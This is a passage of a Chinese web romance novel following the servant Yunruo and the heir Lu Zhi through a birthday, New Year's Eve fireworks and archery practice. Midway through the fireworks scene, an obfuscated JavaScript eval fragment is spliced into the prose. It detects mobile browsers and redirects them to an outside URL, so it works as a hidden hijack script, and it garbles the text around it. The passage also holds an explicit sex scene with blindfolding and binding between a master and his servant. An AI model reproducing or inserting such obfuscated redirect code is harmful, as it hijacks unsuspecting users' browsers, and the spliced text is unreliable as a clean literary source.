我一知晓当即就和无字楼的掌柜谈好了价钱,他给我独家的本子,只准我家演,我想什么时候演,想演多少场,他都管不了。 前几年还很好,本子点子新有意思,不过近来我看无字楼家的那些写话本的,都江郎才尽了,写出来的东西都大同小异,我都看烦了,他们还没写烦。” 云若这一听,简直对殷灵的经商头脑五体投地。 不过殷灵说到的这个话本无新意确实也是个问题,她为了拿到这个独家必然说了个不低的价,但一个话本总有结局,演过一遍后大家口口相传,一没新鲜劲,那这话本作用就不大了。 殷灵方才说到的律法,云若好像也看到过,如若得了应允,好像不止可以用来盈利。 “何不试着自己编写?”云若提出她的意见。 殷灵有点不理解她的意思:“自己编写?” 云若为她解释她的想法:“再怎么喜欢一出戏,听上个十来遍,总归是会腻的。既然这些戏大家如此喜欢,何不借着它们的名头,对里面的一些情节进行改动,删掉一些无趣的,增添一些更适合当下情景的,保留一些经典的,当客官以为下一幕又是这样的,我们却告诉他是那样的,岂不钓足了他们胃口?此所谓老瓶装新酒。” 云若解释得详细,殷灵是个商人,自然很快领悟了她的意思。 两人会心一笑。 “好一个老瓶装新酒,云若,这次你可帮了姐姐一个大忙。” 殷灵这么说,是赞同她的想法了。能被认可,还能帮上忙,云若也很开心。 “那下次我等着姐姐请我看新戏?” 殷灵举起茶杯,两人默契以茶代酒,“等我好消息。” 34. 岁岁 又多看了几幕戏,和殷灵闲聊了一阵,云若估摸着时候不早了,准备回去了。 约好了下次再会,殷灵把她送上马车。 “天冷,姐姐快些进屋去吧。” 殷灵点头应着,一个小厮急匆匆跑过来,殷灵从他手中接过东西,塞进云若手里。 “店里卖得最好的几款小吃,你应该喜欢,带点回去尝尝。” 还不等云若说谢,连人带吃的全被殷灵赶上了车,两人挥手作别。 回去路上,云若想着先前殷灵提及的无字楼,世子书架上的话本都是有些年头的,她想看看最近出的话本,一问车夫,并不需要绕远路,她就麻烦车夫先去一趟无字楼。 很快就到了地方。 这一片都是卖文房四宝或是书籍的,不用进哪家店,都能闻到淡淡的墨香。以篆书题字的无字楼比其他店铺要显眼一些,它一共两层,店面相较而言中规中矩,和她想象中的样子有点出入。 一进门,就有小厮迎上来,用不大的声音问她需要什么。 云若环顾一周,看到零零散散有些人在看书,她说想要买些最新上的话本,小厮便领着她到了一排书架前,由她挑选。 话本有点多,一时看得她眼花缭乱,挑了几本名字很吸引人的,试看了几页觉得不错,拿着去结账。 无字楼的二层是半开放的,进了门从两边都可以上到二楼,她还能看到二楼也有不少人,一些是在挑书,一些是小厮在整理书架。 整家店看上去朴实无华,与殷灵口中那个风头无两的无字楼很有反差,想来无字楼的经营完全以书为主体。 小厮接过书,算好价钱给她包起来,云若从荷包里拿出碎银递给他。 入府这么久,她都没有什么花钱的机会,月钱都被她攒了起来,她今天出门前揣了点,粗略一数早就不止当时祖母卖掉她的三十两。 小厮把包好的书和找的钱递给她,云若收钱的时候,一个高大的男子撩开帘子出来,小厮见到立即恭恭敬敬叫了一声掌柜的。 云若被吸引注意抬头看了一眼,男子模样周正,一身硬朗,若是小厮不叫,她不会觉得眼前的人会是掌柜。 男子把手中的账本递给小厮,不经意和她对视上,云若随即错开,拿上书离开了。 “宋掌柜把那两本书送过来了吗?” “一早就送过来了。” “那你跑一趟沈府,给沈小姐送去。” “好嘞。” 云若走得不快,听到了无字楼掌柜的吩咐,那小厮是个干活利索的,她这边刚上马车,就见小厮已经揣着书出门了。 马车很快超过了小厮,人越来越小,最后隐于这雪白的天地间。 回来的时候马车依旧停在离镇国公府有一段距离的地方,云若走了段路,踩了不少雪,到了阶下,她赶紧把雪抖落,怕雪化了打湿鞋子。 一阵寒风掠过,吹得云若一哆嗦,赶紧推门进屋取暖。 坐在榻上看书的陆执听到声响,抬头看她。 云若一和世子对上眼,立马笑着上前,喜滋滋同他讲她今日出去做了些什么。 本来打算等云若一回来就质问她为何这么晚才回来的陆执被她打乱了计划,不想扫了她的兴,他这会只能老老实实放下书,听她讲话。 看得出来出门一趟她很是高兴,收获不少,摆在他面前,事无巨细跟他说了个遍,陆执难得当回不扫兴的聆听者,不时还会接接话。 “奴婢还以为话本会卖得很贵,没想到这么几本还要不到一两碎银。”云若把话本一一铺开,问他,“世子,你猜猜这几本花了奴婢多少钱?” 陆执略一思付,摇头说不知道。 云若张开手掌晃了晃:“才五百文!” 其实通常的话本只要几文钱,不过无字楼的因着它自身的名气和质量上乘,会贵上不少,不过陆执还是装出小吃一惊的样子,附和她:“这么便宜?” 云若连连点头,陆执看着她的样子,嘴角不自觉上扬。 “下次奴婢要多买几本,感觉这几本很快就能看完。” 陆执点头肯定,以她现在一目十行的速度,确实很快就能看完。 垂眸间,瞥到她裙角被雨雪打湿,外头雪大,怕她衣裙湿得厉害着凉,陆执催她去换身衣裳。 云若领命,这会不说话了,才发现屋子里不知什么时候点上了灯。 “怎么天这么快就黑了?” 云若知道冬天本来就黑得早,记着陆执的叮嘱,她特意早点赶回来,她记得方才进屋的时候,屋内不用点灯都还很亮堂,怎么才说了一会儿话,外头就已经黑了。 “奴婢回来得很晚吗?”她有点疑惑。 “很晚。”陆执语气笃定,“你要是再晚点回来,我就要去同殷掌柜要人了。” 其实不然,云若回来得挺早的,只是她同陆执说得太高兴,没注意说了多久。 云若心下了然,向他保证般说道:“奴婢不敢了,下次奴婢会早点回来。” 陆执眉眼含笑,“好。” 目送她高高兴兴回去换衣裳,陆执打她出门后就有些浮躁的心重回宁静,他复又拿起书,这会儿看得进去了。 ** 进入腊月中旬后,为着迎接除夕,镇国公府又稍微热闹了些。 承熙院也在右安的安排下,忙碌了起来。 东西添置好后,就开始布置院子,从里到外,红色的东西越来越多,看上去也有了喜气。 暮色降临,点上今儿个刚换好的大红灯笼,这下整个承熙院都有了过年的样子。 云若虽然没怎么上手,但还是蹭了一身灰,她在院子里整理的时候,有人过来告诉她世子在找她,云若赶紧进了屋。 一进去她就闻到了食物的香味,走过去一看世子面前放着一碗热气腾腾的面,正疑惑这还不到世子平常用晚膳的时辰,世子出声唤她。 “布置好了?” 云若点头。 “世子您饿了怎么不吩咐奴婢去备膳?” 陆执示意她坐下,“我不饿,这是给你准备的。” 云若用手指了指自己,陆执点头。 “今儿个是什么日子?” 云若在心里数了数日子,回他:“世子您忘了,昨儿个刚过小年,今儿当然是腊月二十四了。” “我怎么记得,腊月二十四不是某人的生辰吗?” 云若怔了一下,世子口中的某人好像是她。 想起之前劝世子去庄小姐的生辰宴的时候,世子随意一问,她也随意一说,没想到世子记住了。 也是,世子记性这么好,记个日子不难。 见她一直看着自己没有动作,陆执把碗推到她面前:“趁热先把面吃了?” 汤面的香气扑来,这碗面的卖相很好,大片肉配上青菜卧在细长的面上,全都浸在浓郁的汤汁里。 这面看上去像是长寿面,云若终于反应过来,世子这是在为她庆生。 这还是第一次有人为她庆生,云若拿筷子的手都有点不自然了。 她夹起,发现是很长的一根。记得听人说过长寿面不能咬断,寓意不好,她咬住面头开始边吸溜边嚼,很快两颊都鼓了起来。 云若嚼了很久,看面还有很长,实在吃不下,把它咬断了。 吃了这么大一口,云若有些不好嚼,只能以手掩嘴,起码不会当着世子的面吐出来。 不用世子说,她都知道她这副样子太傻了,上方果真传来轻笑声。 云若窘然,低头加紧嚼咽。 咽下最后一口,云若放下手,这么久都没听见世子说话,她暗舒了口气。 她又夹起刚才咬断的那头,重新吃了起来,这次她不会像刚才那样不舍得咬断了。 陆执单手托脸,一直在旁边安静地看着她吃,等她放下筷子,才递了帕子给她。 “吃饱了吗?” “嗯。” 虽然只有一根面,但胜在长度够长,她吃得饱饱的。 “恭喜四娘又长了一岁。愿你往后岁岁,平安喜乐,万事顺意。” 很平常的祝词,但就是让人觉得很温暖。 云若莞尔:“多谢世子,奴婢会的。” 这一年她的际遇太多,不过幸而总的来说都是好的。 “你想要什么贺礼?” 她居然还能有贺礼,不过,“贺礼不应该是要送的人准备吗?” “我准备了一些,但不确定是不是你喜欢的或是需要的。总觉得仅凭我觉得好像还不够,所以就想着不如直接问你,你想要的起码是合你心意的。” “想要什么都可以吗?” “自然。只要是我力所能及的。” 虽然这么说,云若一时半会儿也想不出来,反倒是更想知道世子原本打算送她什么。 “那世子原本准备了什么?” 不曾想陆执欲言又止,说不出东西来。 云若歪头看他,眼里的好奇逐渐被将信将疑取代。 陆执轻敲她的额头,无奈解释着:“什么都准备了一些,不可一概而论。” 听起来世子备了不少,这下云若更想知道了,“那不如就把您准备的都给我吧!” 不料陆执摇摇头,云若不解,只听他说:“这些本就是给你准备的,早就放到你屋子里了,只是我觉得那些算不得贺礼。若你一时也想不到要什么,不如先把这个愿望留着,等你什么时候想到了,再同我说如何?” 这样的话,那她岂不是鱼和熊掌兼得?虽然有点不好意思,不过云若还是收下了世子的一番好意。 “世子放心,到时候奴婢一定不会提太过分的要求。”为了不让世子太吃亏,云若找补了一句。 她的要求能过分到哪里去,不想要她顾虑太多,陆执说:“过分点也无碍。” “那奴婢可不同世子客气了。” “我等着看你要怎么个不客气。” 晚些时候,左行和右安也悄悄过来给她送祝福,还让她早点回屋拆贺礼。饶是有准备,待她看到桌子上堆满的东西,还是吃了一惊。 这就是世子说的准备了一些吗? 云若一边拆看一边归置,吃的用的穿的戴的,真是一应俱全,无论哪样她都挺喜欢的,做贺礼完全足够。 夜间,她躺着床上,想着的全是那些东西她要怎么用,一直在心里计划到深更。 接下来的几天,全府都忙着迎接新年的到来。 除夕这天可不轻松,一早镇国公就要带着陈氏和陆执进宫朝贺,回来后全家需得祭祀祖先,晚上的家宴是少不了的,随后还要守岁。 一向爱热闹的云若听着都觉得累,正愁着不用她伺候的时候要怎么打发时间,世子直接大发慈悲让她和右安看院子,只带左行出门。 这感情好,云若压抑着嘴角的笑,没有残忍地在焉巴巴的左行面前表现得太过高兴。 一早就把人送出门,剩下的人也开始干活。 云若帮忙指挥着贴春联,换门神,一起剪窗花装饰。她以前过年从没有过这些,跟着忙起来,也感受到了浓浓的年味,今年还没过完,她就已经开始期盼来年了。 今天一整天,到处都是此起彼伏的炮竹声,听得人都跟着精神了些。 他们几个守院子的一起吃了年夜饭,无事可干,聚在一起玩牌打发时间,云若先是站在旁边观望学习,后来被劝上了桌。 云若刚开始没上手,输了不少,待她摸清楚了打法,就开始回本了。 陆执回来的时候看到的就是云若赢牌了以后,伸手围着一圈人要钱,其余人虽然嘴里叫着怎么又是你赢了,但脸上还是不减笑意,给钱的动作也爽快,毕竟大家玩得不大,只是图个过节热闹。 面向门的小厮先注意到了陆执,惊呼了一声世子,几个人手忙脚乱,收牌的收牌,装钱的装钱,云若则是把手里的牌藏进袖子背在身后,行了个别扭的礼。 陆执视线略过她。他说怎么堂屋里没什么人,敢情跑到这偏房里玩牌来了。 不过看得出他们只是打着玩,陆执没怪罪,叮嘱他们和气生财,然后给大家伙发了压岁钱,这才给了她一个眼色转身离开,云若会意,赶紧扔下手里的牌跟了上去,连赢的钱都顾不上。 身边的左行一脸幸灾乐祸的样子,云若觑他一眼,才不和他计较。 跟着世子进了屋,接过小厮递过来的茶水,端到陆执面前,他一抬头,看见她满脸笑容可掬。 其实云若看得出来世子情绪与平常一般,现下如此安宁平和,想着刚刚情急之下连好不容易赢回来的一点本钱都还没来得及拿,她有些心痛,而且世子发压岁钱却独独没发给她,这大过年的,总得讨点福气。 “世子,奴婢怎么没有压岁钱。” “方才见你不是赢了不少?” 云若不敢说因为你的突袭现在连本钱都没有了。 “那是奴婢自己赢的,算不得压岁钱,要世子给的才是。” 他拿出一个红色的荷包,原来早就有准备,云若双手伸着要接,陆执递到一半,又收了回来。 “不说点好听的话来听听,想空手套白狼?” 说点吉利话而已,那有何难,她张嘴就是天花乱坠一通说,把她这一年学到的都快说了个精光,这才见到陆执满意地点了点头,她立马巴巴伸出手,陆执也大方地给了。 左行立马捡着她说过的词,也去讨压岁钱,讨是讨到了,但是比不得云若那鼓鼓囊囊一荷包。 “不是说您今夜要守岁,怎么这会儿就回来了。” “前院人太多我不喜欢,在我这小院子里守岁也是守。” 说的也是,依世子的性子,在前院待着定是觉得乏味。 “还有一两个时辰才到午夜,不如您和我们玩几把牌?” 云若刚学会,正是瘾大的时候,想着就这么大眼瞪小眼等到午夜也太漫长了。 看陆执没说不允,那就是同意了,麻溜出门凑了副牌,把右安叫上,还顺路去厨房顺了点心。 几个人围坐一圈,除了云若,其他三人都是老手,一点不客气,上来就让她输了把大的。 连输几把,眼见刚得的压岁钱快去了一半,云若愈发谨慎起来。仔细一琢磨,发现他们都有一些出牌的习惯,尝试着从这找突破口,她开始慢慢转败为胜。 到最后,输得最多的竟然是看上去仅次于世子、第二聪明的右安。 右安主动认输,云若和左行数着自己的输赢,数完自己的见陆执没动作,她指着他面前的银两暗戳戳示意,陆执直接把银两都推到她面前。 虽然世子好像误会了她的意思,不过云若还是帮世子数了数,一合计发现自己是赢得最多的。 “差点以为压岁钱都要输没了,幸好右管事手下留情!”赢了钱的云若自然是欢喜的,况且今儿个的输赢都算不得什么,主要是图乐。 右安笑得含蓄:“这牌我确实不擅长,就斗胆散点财给大家助助兴。” 确实如此,在座的人都是笑吟吟的。 离子夜还有几刻钟,云若想起下午那会儿她经过库房的时候,看到一角堆了不少各式各样的烟花,右安说若是世子回来得早就能点。 “世子,离子夜还有会儿,不如我们出去放烟花,边玩边等?” 看她满脸期许,陆执哪有不答应的道理,本来那些烟花也是买来玩的。 见陆执点头,几人立马从座位上站起来,牌桌都来不及收拾,云若连忙去拿世子的黑色大氅,她也在陆执的敦促下穿上斗篷,迫不及待出了屋子。 左行和右安负责把烟花从库房里拿出来,云若等不及,跑去帮忙,陆执也跟着过来,搬到前院太麻烦,索性就在后院玩了起来。 几个要两人环抱才圈得住的大烟花,要等子夜才能点燃,他们先拖出来摆在院子里,他们现在可以玩那些动静不大的小烟花。 三人凑在陆执身边,点燃了第一束烟花。云若拿着一大把,想玩但又有点害怕,手抻得老远,见左行手里的火折子离引线越来越近,她撇开脸了。 噼啪声响,包着火药的彩纸崩散,点点星光炸开,看上去很漂亮。 云若把烟花分给几人,一直揣手窝在大氅里的陆执伸出手接了过来,云若和左行像小孩子一样呀呼,高兴得在院子里蹦跳。 绚烂很快消散,三人连忙拿起新的接着上一根续燃。 至暗过后,又是一瞬白昼般的亮,随后是五彩斑斓的火焰。 陆执手中的烟花熄灭,袅袅青烟隐入夜色,他也陷在黑夜里,不过一瞬,亮光乍现,云若拿着刚点燃的烟花递给他,火焰全映在她的脸上,眼睛亮闪闪的,比手中的烟花还好看。 陆执接过,恍惚间得了几分小时候玩这些的乐趣。 他手上这根燃得慢,云若拿了新的就着他快要燃尽的焰火续上,随后还不忘塞支刚点燃的到他手里。 就这么燃了熄,熄了燃,她不厌其烦,玩得起劲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284241|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快到子夜的时候,除了陆执,一人拿了个火折子准备点烟花,云若虽然还是有点怕,但是想自己点的想法压过了那点害怕。 陆执在一旁提醒他们时间:“马上子夜了。” 云若一手捂住自己的耳朵,另一只手拿着火折子颤颤巍巍候在引线附近,听到远方一声砰响,她赶紧把火折子怼了上去,一听到刺啦声,她拔腿就跑,没两步就被人抱了个满怀。 惊魂未定间,烟花已经窜上天,在黑夜里开出绚烂的银花,左邻右舍遥相呼应,好不热闹。 这下云若已经全然忘了刚才的惊吓,她沉浸在漫天的烟火里,由着人抱着她。 她仰头看他,笑着问他:“新的一年,世子有什么心愿吗?” 怔了半晌,陆执刚要开口,却被烟火打断。 云若蹙眉,还以为是自己没听清,陆执摇摇头说没什么,她的注意又被焰火吸引去了。 等她点的放完,左行和右安才依次点燃,但烟花易逝,不消一刻钟,几个烟花就都燃完了,院子里突的安静下来。 “这就结束了?” 等了这么久的重头戏,一转眼就结束了,大家都还有点意犹未尽。 “我想起去年不是还剩几个比这些还大的,放在库房最里面。”那几个是左行特地挑的,去年就没机会放,这会拿出来放也挺合适。 右安质疑:“去年的,怕是受潮了,容易哑火。” “搬出来试试就知道了。”陆执吩咐他们。 两人又去了库房,云若本想跟着去帮忙,但看世子孤零零站在雪地里,她还是没挪步子,候在他身边。 一阵寒风吹过,云若打了个寒颤。 “冷吗?” 云若点头,看陆执手从大氅里拿出来,还以为他要把大氅解给她,一句“世子您自己披着就好”还没说出口,陆执已经把她整个人裹进了他的大氅里。 寒意全被隔绝在外,她不一会儿就暖和起来。 “你刚才想说什么?” 月色映雪,陆执眉眼温柔如水,嘴角噙着浅浅的笑。 今天世子里头穿的是新衣,少见的大红色,他穿着不见一点俗气,墨发以红色的发带高束,这一身是她搭的,白日里看本就多了几分邪气,现下在这雪夜里,更像是蛊惑人心的魅。 “奴婢想说,”云若挪开视线,不敢看陆执黑沉的眸子,“多谢世子。” 刚说完,气氛旖旎起来,她后悔着不应该说这句话的,听见他啧了一声,云若料着他要说什么,在他开口之际,她率先踮起脚要去亲他,但这回却没得逞。 两人之间隔了厚厚的狐毛领,她踮脚往上也只是把自己埋进厚重里,亲了一嘴带着寒气的毛。 陆执鼻腔轻嗤,发出低低的笑。 “怎么谢我还要占我便宜,我这不是亏了?” 云若心道,又在这里颠倒是非。 她咬住下唇,似恼似娇:“那奴婢不占您便宜就是了。” 说着,要从他怀里挣脱出来,却被抱得更紧。 等她不挣了,他才矮下身来,拇指把她的下唇解放出来,歪头避开毛领交叠,吻上了她。 随着他的引导,两人渐入佳境。不过唇齿辗转间,陆执总觉得有些别扭,睁眼一看才发现这个小家伙竟然不闭眼,黑溜溜的眼珠到处乱转。 “怎么不闭眼?” “这个要闭眼的吗?” 陆执无声笑了笑,是他这个老师当得不称职了,竟然这都没告诉她。 “嗯,要闭眼。”他伸手捂上她的眼,边靠近她边说,“然后,感受我。” 眼睛闭上,其他的几窍就更加精明些。 他的鼻息,他的清冽,他捏着她腰间软肉的手,都比平时更加明显。 眼睫止不住轻颤,明明挠的是他手心,心却莫名跟着她颤。 渐渐地,陆执已经站直了身,沉迷其中的云若却没发现,反而被他勾着不追不觉追着他吻。 她踮脚攀上他的肩,男人揽着她的腰紧贴着他。 这个绵长细密的吻,让她双腿发软,站不住要往下滑的时候,被人拦腰抱起。 唇瓣短暂分离,云若趴在他怀里喘息。 陆执把她抱得很稳,一直到被他放到床榻上,她都没什么颠簸感。 把她放下后,陆执没立马撤出手,气息交织,云若仰头看他。 借着月色,他看到了她纯粹的眼睛,里面全然是对他的信任,没有一点防备,余下方才他勾起的一点子春情。 陆执眸中翻涌起滔天的欲色,他扯下她腰间的襟带,不等她反应就蒙上了她的眼睛。 云若覆上他的手,烛火昏暗,即使被蒙上了眼,她还是能感到一点朦胧的光影,但是看不清他的身影,这让她有些不安。 看不到,屋外的寒风,雪落的簌簌,低沉的喘气,灼热的气息,清冽的香味,全都浓烈地裹挟着她。 她仿佛还听到了有人在低语,这让她忍不住蜷缩身子,但却被人强硬地打开。 身上的衣物几下就被人褪去,手掌带着主人的热情,抚过她每一寸发颤的敏感,最终握住了她的脚踝,让她动弹不得。 细浅的湿吻蜿蜒而下,气息一阵短促凌乱,她咬住唇,双手抓住他宽厚的肩背,对男人高挺的鼻梁有了深入的认识。 脑中的弦被他掌控,随着他的动作逐渐绷紧。 快意拉扯着她,她微不足道的反抗终归是徒劳,抑制不住在他背上留下几道红痕。 最终难抵他给予的猛烈,她控制不住颤抖的身子。 有带着湿意的唇要来吻她,云若迷乱地回应,蓦地想着湿意的源头,她偏头想躲,被他阻止。 “不准躲。” 不知羞的半句话被两人的唇齿吞没,好半晌,他松开她的唇,在她耳畔低语。 “好甜。” 不知道是在对什么做评价,却听得她面红耳燥。 莫大的欢愉过后是无尽的虚无,这会的人却不如刚才那般急切,反而有一搭没一搭地勾着她。 她求而不得,心里渐渐委屈起来。 “世子……” 可是男人始终不为所动,她伸手想去揭开眼上的束缚,却被人捉住手腕,三两下给她绑到了床头。 “叫我。” “世子……” 男人没有反应。 心热难耐,她已经顾不上什么规不规矩了,“陆执……” 细碎的呜咽,他嘉奖似的替她缓解了一下,但聊胜于无。 竟还不得他意,她无暇思考,脑海里一直回响着一个声音,犹豫再三,她终究是招架不住喊了出来,委屈中又有几分娇气,听得男人心都跟着一揪。 男人勾唇,满足地笑了,“真聪明。” 他亲吻她的脸颊,终于不再钓着她。 云若仿佛一叶扁舟任水流激荡,她想伸手去抓身前的依偎,却被束住了双手。 不能相拥,始终就有间隙,让她心里空落落的。 她主动迎合想引起他的注意,果真如了愿。 她直白自己的想法:“我想要抱你…也想,你抱我…” 他拒绝不了这个请求,但还要讨更多好处,他诱着她:“想让谁抱你?” 这会子,云若满是渴求,什么都顾不上了,她呢喃着:“鹤回哥哥…” 手腕的束缚还是被解开了,她一下子就攀上了男人的背,依偎在他的肩头,贪恋他的炙热。 耳鬓厮磨,严丝合缝。 云若已经不记得眼上的襟带什么时候掉的,她只记得她晃神的时候,他一瞬不瞬地看着她,像是要把她融进他的身体。 她想要什么,都得叫他,他才舍得给,真的是又坏又小气。 愈到后头,她愈发黏腻勾人,他也愈发难以自持,被她无意识的撩拨弄到发狂。 终归是他自作自受。 他低头吻住她,不让她再叫。两人的气息交织沉靡,难舍难分。 末了,陆执把瘫软的人搂进怀里,肌肤相亲,一起平复急促的心跳。 他手指缠绕她柔顺的青丝,若有若无的吻落在她的发顶。 “四娘。”他唤她,累坏了的人在他怀里嘤唔,这会都是无意识的反应。 陆执唇角轻扬。 本想同她说些祝福的话,现下觉得不说也罢,与其说那些泛泛而谈的美话,不如这会儿让她好好睡一觉。 他想,只要从今以后,岁岁年年,她都常伴在他左右就好。 35. 委屈 上元节这天,殷灵早就约了云若去看灯会,这天两人也如约碰上面了,只不过身边都跟了人。 一行人逛累了,就近找了家小酒馆坐着歇脚。店面不大,都是小桌,云若和殷灵坐一桌相看适才在集市上买的小首饰,陆执和徐舒柏一桌品茶闲聊。 云若给殷灵试戴了一个簪子,夸她戴着好看,殷灵高兴了没一会儿,突然叹了口气。 “姐姐你今日怎么兴致缺缺,有什么烦心事吗?” 从今儿一会面,殷灵虽然看着她高兴,但是云若还是发现她的心思不全在这灯会上。 出来玩本不想扫了大家兴,但这档子事让她愁了许久,既然云若问了,她也不吐不快。 “就是改编话本这个事,我找不到好的笔客,如今这些人都是狗尾续貂,怎么写都让人不满意,要是拿这些东西出来胡乱糊弄,怕是寒了老顾客的心。” 诚然这不是个轻松的活,她们打算的是改编百姓喜欢的本子,要是改编得不好,客官们不买账事小,要是砸了招牌落了不好的风评,那损失可不小。 虽然云若没写过话本,但这么久以来她看了不少,对其中一些情节设计有过研究,上次她在无字楼也买了一些灵狐书生的话本,对他的文风行文有所了解,或许她可以从观众的角度给点意见。 “要不姐姐把改编的本子给我看看?我看过一些话本,想着要是能帮上姐姐一点忙是最好不过的了。” 听她这么说,殷灵的愁绪都散去了不少,有人愿意和你一起分担就已经是件难得的事了。且不说这个点子就是云若想出来的,说是一些,依她的性子,该是谦虚了,她定然对话本有独到的见解。 “我待会儿回去了就让人给你把几个版本的都送去,有什么想法直接题在上面就行,这事不着急,莫要为难自己。” 云若点头,殷灵如此信任她,一股暖意涌上心头,也希望自己真的能够帮到她。 说出来后殷灵心中轻快不少,现在就想着好好逛灯会放松一下,她给云若戴上和她样式相似的珠花,“你戴这个也好看。” 这边的两人你一样我一样分起东西来,旁边桌的两人聊着过阵子李家公子设宴的事。 “听说李鸣不知去哪儿淘了张上好的弓,那个败家子要拿它当彩头,请我们去比试比试。” 陆执把心思从旁边收回来,问他:“什么好弓?” “说是哪个传说中江湖侠客的遗物?”徐舒柏记不清了,“谁知道,但请人鉴定过了,上好的黑檀木制作的,浑然天成,他小子还找了难得的弓弦来配,总之是件宝物。” “比试什么?” “彩头是一张弓,还能比什么,自然是箭术。” 陆执对这些所谓的宝物的态度是可有可无,但他偶尔喜欢找点乐子玩玩,这群人好久没有弄点有意思的东西,比射箭不错,他难得凑个热闹,正好活动活动筋骨。 “去不去?”徐舒柏看他没有直接说不去,和他确认。 “去,上次他侥幸赢了我的幽梦十三州,这次也该让我讨点好处回来。” 徐舒柏闻言撇眼,这人上次双陆棋没下得赢别人,输了曲谱和面子,到这会儿还念着。 “正好,大家都想看看你这么久,箭术有没有退步。” 徐舒柏挑眉,面带衅色,陆执嗤笑。 君子六艺,射御礼乐书数,陆执一直都是同期里的佼佼者,他论第二,没人敢争第一。 徐舒柏不提还好,他这么一说,陆执定然要争争这个彩头。 李家公子的宴会设在二月,冰雪虽已消融,但寒意还未散去。 陆执今日一身黑色骑装,窄袖束腰,更显身形,少年气也更盛了些,依旧是云若和左行随行。 比试的场地是在京郊的老校场,建了新校场后,为了不让老校场荒废,请示皇上后,他们这些人一起出银两把它维护起来,没事可以在这举行一些怡情的小比赛,一起交流切磋,也算物尽其用了。 云若一行刚到,徐舒柏也紧随其后到了。 云若看他一个人,问他:“姐姐不是说也要来,怎么只见徐公子一个人?” 徐舒柏一脸可惜:“她最近忙得脚不沾地,我连着去几天连她面都没见上,这会叫她出来玩,她怕是要扒我一层皮。” 云若和殷灵都是说做就做的性子,上元节第二天,殷灵就托人给她送去了话本。 云若也是一头钻进去,顺完所有剧情后,自己编排了一番,怎么都不满意,给陆执看,陆执提了点他的看法,结果就是越混越乱,她索性推翻了自己写了一通,附上她的一些想法,前些天才拿给殷灵,她现在应该是在忙着这个事。 一行人一起进了校场,一路上遇到了好多两人的同窗好友,见面都是一阵寒暄。 云若跟在后头,一会儿是哪个世家的公子,一会儿又是哪个大官家的少爷,她囫囵认了一圈,心中不免感慨世子朋友真多。 既然来了,旁人可以不见,总得去李家公子面前露个脸。 去的路上,云若打量了几眼这个校场的布局。它依山而建,占地宽阔,除了两侧的靶场,还有一些略为陈旧的操练场地和设施。 中央的将台已经拆去,与之相对的演武堂修缮过后,一般供设宴者歇息。 见了面寒暄过后,时辰还没到,人也还没来多少,李鸣让下人带路领他们先去供客人歇息的地方。 他们歇息的地方是从演武堂两侧延伸开去的旧营房改造的,一般是只支个棚子,放上点茶水点心,累了坐在位置上也能观礼,只不过现在寒风凌冽,又围了三面御风,要等日子暖和了才会拆掉。 李鸣给他们安排的帐子离他很近,几步路就到了,这儿视野开阔,能把两边的靶场都尽收眼底。 在这等着不时还要吹冷风,他们选择去帐子后面的废靶场先练练手。 云若抱着装满箭矢的箭囊,亦步亦趋跟着陆执。 陆执和徐舒柏共用一个箭靶,两人一人一箭,交替上阵。 陆执礼让徐舒柏,后者先发一箭,他站定在起始处,羽箭搭弓,瞄着百步开外的靶子,云若视线在两点间来回,一不注意,箭离弦而出,落在靶心附近。 云若低声惊呼,如此远的距离,徐公子竟然将近靶心。 徐舒柏自然听到了她的惊呼,往旁边走去还不忘对陆执挑眉。 陆执直接略视,睨了云若一眼,云若立马抿嘴递上箭囊,陆执没拿弓的手抽出一支,稳步上前站定,挺拔的身姿微微侧立,搭箭拉弓。 他神色专注,双眸多了几分凌厉,紧锁靶心,寒风吹过,远处的旌旗猎猎作响,云若也跟着陆执一起全神贯注,心与他手中的弓弦一起紧绷。 簌的一声,一道弧线划过,箭镞已经稳稳落在红色的靶心中央,箭尾羽翎还在晃动。 这下云若瞪圆了眼,又惊又喜,差点要蹦起来为自家世子庆祝。 陆执余光自然瞥见了云若的反应,心中愉悦面上却不显,他垂下手,缓步往云若身旁走去。 云若上前迎了两步,满眼钦佩,悄声惊叹:“世子,您好厉害!” 陆执淡笑:“那是自然。” 对面的徐舒柏看到陆执这副云淡风轻的模样,心里涌起一股无名火气。 但是他的实力确实不如陆执,只能在心底骂他老孔雀开屏。 又练了几轮,陆执次次命中靶心,徐舒柏只中过一次靶心,反正他的水平就是如此,他丢下弓不练了,宁愿去和那些公子少爷闲聊,也不想在这里给他陆世子当陪衬。 箭矢剩得不多,陆执让左行再去取些回来。 云若抱着箭囊在一旁随时准备给他递过去,又是一箭中靶,云若上前递箭,到了跟前,陆执让她放下箭囊。 她依言放下后,被他拉到身前 云若还有点懵然,陆执已然抓着她的手握住了弓身。 “你也试试,这算不上难。” 他将她圈在怀里,带着她的左手抬高持平,声音温和:“持弓的手要稳,身姿要正,肩头放松,不要绷得太紧。” 云若的后背贴着他的胸膛,感受着他说话时的颤动。 陆执另一只手扳过她的肩头,帮她摆好姿势,他将一支箭矢放进她的手里,教她搭弓引箭。 “慢慢发力拉弦,边拉弦边瞄靶心,集中心神,等弓弦绷紧到这种程度。”陆执没有用语言形容,而是让她仔细听。 云若屏住呼吸,听到紧绷的弓弦隐隐有细微的嗡鸣声。 “这个时候就可以松手了,但是一定要利落,不要犹豫不决,不然你的手指可能会受伤。” 云若轻轻嗯了一声,陆执松开自己的手,放她自己掌握。 云若又瞄了一会靶心,觉得没问题后,干脆利落松开手,利剑脱弦,她咬唇静候,箭却只落在了箭靶外环。 见她有点失落,陆执重新递了一支箭给她,“第一支箭就能上靶很不错,多多练习,比较每次松弦的时机,不断调整,会越来越靠近靶心的。” 云若点头,那点失落被她挥散,她重新举弓引弦,又射一箭,这次虽然也还是在外环,但是和靶心水平,也算有了进步。 陆执捡起箭囊站在她身旁,静静陪着她,她有哪里做得不当的时候才会出声纠正。 练了好几箭,她的手有些发酸,弓拉不开,箭一下子脱了靶,陆执发觉问题,出言让她先歇会儿。 